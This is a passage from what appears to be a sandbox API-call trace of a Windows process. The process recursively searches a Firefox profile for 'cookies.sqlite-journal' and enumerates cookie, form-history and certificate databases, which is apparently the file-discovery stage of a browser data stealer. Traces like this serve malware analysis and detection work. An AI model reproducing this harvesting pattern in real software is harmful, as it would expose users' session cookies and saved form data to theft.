returned 0x9a6e480 [0111.579] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\bookmarkbackups", lpDst=0x9a6e480, nSize=0x5c | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\bookmarkbackups") returned 0x5c [0111.579] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\bookmarkbackups") returned 91 [0111.579] lstrlenW (lpString="cookies.sqlite-journal") returned 22 [0111.579] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e540 [0111.579] PathCombineW (in: pszDest=0x9a6e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\bookmarkbackups", pszFile="cookies.sqlite-journal" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\bookmarkbackups\\cookies.sqlite-journal") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\bookmarkbackups\\cookies.sqlite-journal" [0111.579] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\bookmarkbackups\\cookies.sqlite-journal", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="WEBAPP~1.JSO")) returned 0xffffffffffffffff [0111.636] PathCombineW (in: pszDest=0x9a6e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\bookmarkbackups", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\bookmarkbackups\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\bookmarkbackups\\*" [0111.636] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\bookmarkbackups\\*", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3f925320, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf33be400, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf33be400, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466580 [0111.637] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3f925320, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf33be400, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf33be400, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.637] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.637] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4ee9f7b0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x4ee9f7b0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x4eebf380, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0xbdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="bookmarks-2017-06-30_5.json", cAlternateFileName="BOOKMA~1.JSO")) returned 1 [0111.637] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.637] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf328d900, ftCreationTime.dwHighDateTime=0x1d30616, ftLastAccessTime.dwLowDateTime=0xf328d900, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf32d9bc0, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0xbdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="bookmarks-2017-07-26_5.json", cAlternateFileName="BOOKMA~2.JSO")) returned 1 [0111.637] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.637] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf328d900, ftCreationTime.dwHighDateTime=0x1d30616, ftLastAccessTime.dwLowDateTime=0xf328d900, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf32d9bc0, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0xbdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="bookmarks-2017-07-26_5.json", cAlternateFileName="BOOKMA~2.JSO")) returned 0 [0111.637] FindClose (in: hFindFile=0x4466580 | out: hFindFile=0x4466580) returned 1 [0111.638] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e540 | out: hHeap=0x9770000) returned 1 [0111.638] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0111.638] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e220 | out: hHeap=0x9770000) returned 1 [0111.638] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f084360, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3f084360, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf441bb40, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cert8.db", cAlternateFileName="")) returned 1 [0111.638] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.638] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3cfa0c70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x508a4200, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="compatibility.ini", cAlternateFileName="COMPAT~1.INI")) returned 1 [0111.638] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.638] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4082be00, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x4082be00, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x40d3acc0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-prefs.sqlite", cAlternateFileName="CONTEN~1.SQL")) returned 1 [0111.638] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.638] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x402f6de0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x402f6de0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf35d3740, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cookies.sqlite", cAlternateFileName="COOKIE~1.SQL")) returned 1 [0111.638] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.638] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe1ffc750, ftCreationTime.dwHighDateTime=0x1d51ed4, ftLastAccessTime.dwLowDateTime=0xe1ffc750, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe1ffc750, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cookies.sqlite-shm", cAlternateFileName="COOKIE~3.SQL")) returned 1 [0111.638] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.638] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe1ffc750, ftCreationTime.dwHighDateTime=0x1d51ed4, ftLastAccessTime.dwLowDateTime=0xe1ffc750, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe3249070, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x8038, dwReserved0=0x0, dwReserved1=0x0, cFileName="cookies.sqlite-wal", cAlternateFileName="COOKIE~2.SQL")) returned 1 [0111.638] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.638] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43eeb800, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x43eeb800, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xfea06b80, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="downloads.sqlite", cAlternateFileName="DOWNLO~1.SQL")) returned 1 [0111.638] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.638] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f2e5960, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3f2e5960, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3f2e5960, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="extensions.ini", cAlternateFileName="EXTENS~1.INI")) returned 1 [0111.638] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.638] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ee48ec0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3ee48ec0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3f2996a0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x70000, dwReserved0=0x0, dwReserved1=0x0, cFileName="extensions.sqlite", cAlternateFileName="EXTENS~1.SQL")) returned 1 [0111.638] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.638] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd4cf20d0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xd4cf20d0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xd50f65f0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="formhistory.sqlite", cAlternateFileName="FORMHI~1.SQL")) returned 1 [0111.638] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.638] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x55ffb030, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x55ffb030, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x55ffb030, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="healthreport", cAlternateFileName="HEALTH~1")) returned 1 [0111.639] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.639] lstrlenW (lpString="healthreport") returned 12 [0111.639] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default", pszFile="healthreport" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\healthreport") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\healthreport" [0111.639] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e220 [0111.639] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\healthreport", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x59 [0111.639] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e480 [0111.639] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\healthreport", lpDst=0x9a6e480, nSize=0x59 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\healthreport") returned 0x59 [0111.639] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\healthreport") returned 88 [0111.639] lstrlenW (lpString="cookies.sqlite-journal") returned 22 [0111.639] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e540 [0111.639] PathCombineW (in: pszDest=0x9a6e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\healthreport", pszFile="cookies.sqlite-journal" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\healthreport\\cookies.sqlite-journal") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\healthreport\\cookies.sqlite-journal" [0111.639] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\healthreport\\cookies.sqlite-journal", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="BOOKMA~2.JSO")) returned 0xffffffffffffffff [0111.639] PathCombineW (in: pszDest=0x9a6e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\healthreport", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\healthreport\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\healthreport\\*" [0111.639] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\healthreport\\*", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x55ffb030, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x55ffb030, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x55ffb030, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466580 [0111.639] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x55ffb030, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x55ffb030, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x55ffb030, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.639] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.639] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x55ffb030, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x55ffb030, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x55ffb030, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0111.639] FindClose (in: hFindFile=0x4466580 | out: hFindFile=0x4466580) returned 1 [0111.639] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e540 | out: hHeap=0x9770000) returned 1 [0111.639] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0111.639] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e220 | out: hHeap=0x9770000) returned 1 [0111.639] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x560472f0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x560472f0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x574a8f50, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x118000, dwReserved0=0x0, dwReserved1=0x0, cFileName="healthreport.sqlite", cAlternateFileName="HEALTH~1.SQL")) returned 1 [0111.639] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.640] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x419e01a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x419e01a0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x419e01a0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="indexedDB", cAlternateFileName="INDEXE~1")) returned 1 [0111.640] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.640] lstrlenW (lpString="indexedDB") returned 9 [0111.640] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default", pszFile="indexedDB" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB" [0111.640] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e220 [0111.640] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x56 [0111.640] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xac) returned 0x9a6e480 [0111.640] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB", lpDst=0x9a6e480, nSize=0x56 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB") returned 0x56 [0111.640] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB") returned 85 [0111.640] lstrlenW (lpString="cookies.sqlite-journal") returned 22 [0111.640] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e540 [0111.640] PathCombineW (in: pszDest=0x9a6e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB", pszFile="cookies.sqlite-journal" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\cookies.sqlite-journal") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\cookies.sqlite-journal" [0111.640] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\cookies.sqlite-journal", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0111.640] PathCombineW (in: pszDest=0x9a6e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\*" [0111.641] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\*", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x419e01a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x419e01a0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x419e01a0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466580 [0111.641] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x419e01a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x419e01a0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x419e01a0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.641] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.641] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x419e01a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x419e01a0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x419e01a0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="moz-safe-about+home", cAlternateFileName="MOZ-SA~1")) returned 1 [0111.641] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.641] lstrlenW (lpString="moz-safe-about+home") returned 19 [0111.641] PathCombineW (in: pszDest=0x9a6e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB", pszFile="moz-safe-about+home" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home" [0111.641] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a91840 [0111.641] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x6a [0111.641] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xd4) returned 0x9a91aa0 [0111.641] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home", lpDst=0x9a91aa0, nSize=0x6a | out: 